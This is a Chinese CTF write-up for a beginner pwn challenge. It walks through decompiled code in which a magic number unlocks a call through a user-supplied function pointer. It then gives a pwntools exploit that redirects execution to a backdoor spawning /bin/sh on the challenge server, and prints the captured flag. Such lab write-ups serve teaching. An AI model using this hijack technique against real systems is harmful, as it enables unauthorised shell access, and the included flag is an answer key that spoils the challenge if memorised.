附件拖到ida里反编译查看c代码。
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (__fastcall *v4)(_QWORD, _QWORD); // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("'##::::'##:'########::::'#####:::'####:'##::: ##:'########:");
puts(". ##::'##:: ##.... ##::'##.. ##::. ##:: ###:: ##:... ##..::");
puts(":. ##'##::: ##:::: ##:'##:::: ##:: ##:: ####: ##:::: ##::::");
puts("::. ###:::: ########:: ##:::: ##:: ##:: ## ## ##:::: ##::::");
puts(":: ## ##::: ##.....::: ##:::: ##:: ##:: ##. ####:::: ##::::");
puts(": ##:. ##:: ##::::::::. ##:: ##::: ##:: ##:. ###:::: ##::::");
puts(" ##:::. ##: ##:::::::::. #####:::'####: ##::. ##:::: ##::::");
puts("..:::::..::..:::::::::::.....::::....::..::::..:::::..:::::");
puts("Let's try something cooler!");
puts("Tell me your secret number again:");
read(0, &buf, 4uLL);
if ( *(_DWORD *)&buf == 0xDEADBEEF )
{
puts("Oh, where to go?");
read(0, &v4, 4uLL);
v4(0LL, &v4);
}
else
{
puts("Well, you don't know the trick yet?");
}
return 0;
}
在这里判断buf的值,并且进入if后会读取一个值,并且调用这个值的所指的函数。
if ( *(_DWORD *)&buf == 0xDEADBEEF )
{
puts("Oh, where to go?");
read(0, &v4, 4uLL);
v4(0LL, &v4);
}
我们只需要进入if并且调用backdoor函数即可获得shell。
backdoor函数
int backdoor()
{
puts("Well done! Go get your flag!");
return system("/bin/sh");
}
exp
from pwn import *
a = remote('redirect.do-not-trust.hacking.run',10019)
elf = ELF('C:\\Users\\63606\Desktop\CTF\CTF\\tutorial2')
buf = 0xDEADBEEF
a.recvuntil('Tell me your secret number again:')
a.send(p32(buf))
a.recvuntil('Oh, where to go?')
a.send(p64(elf.symbols['backdoor']))
a.recv()
a.interactive()
PTB{6d3ff52c-4910-43b9-9778-cc2c482d8fdc}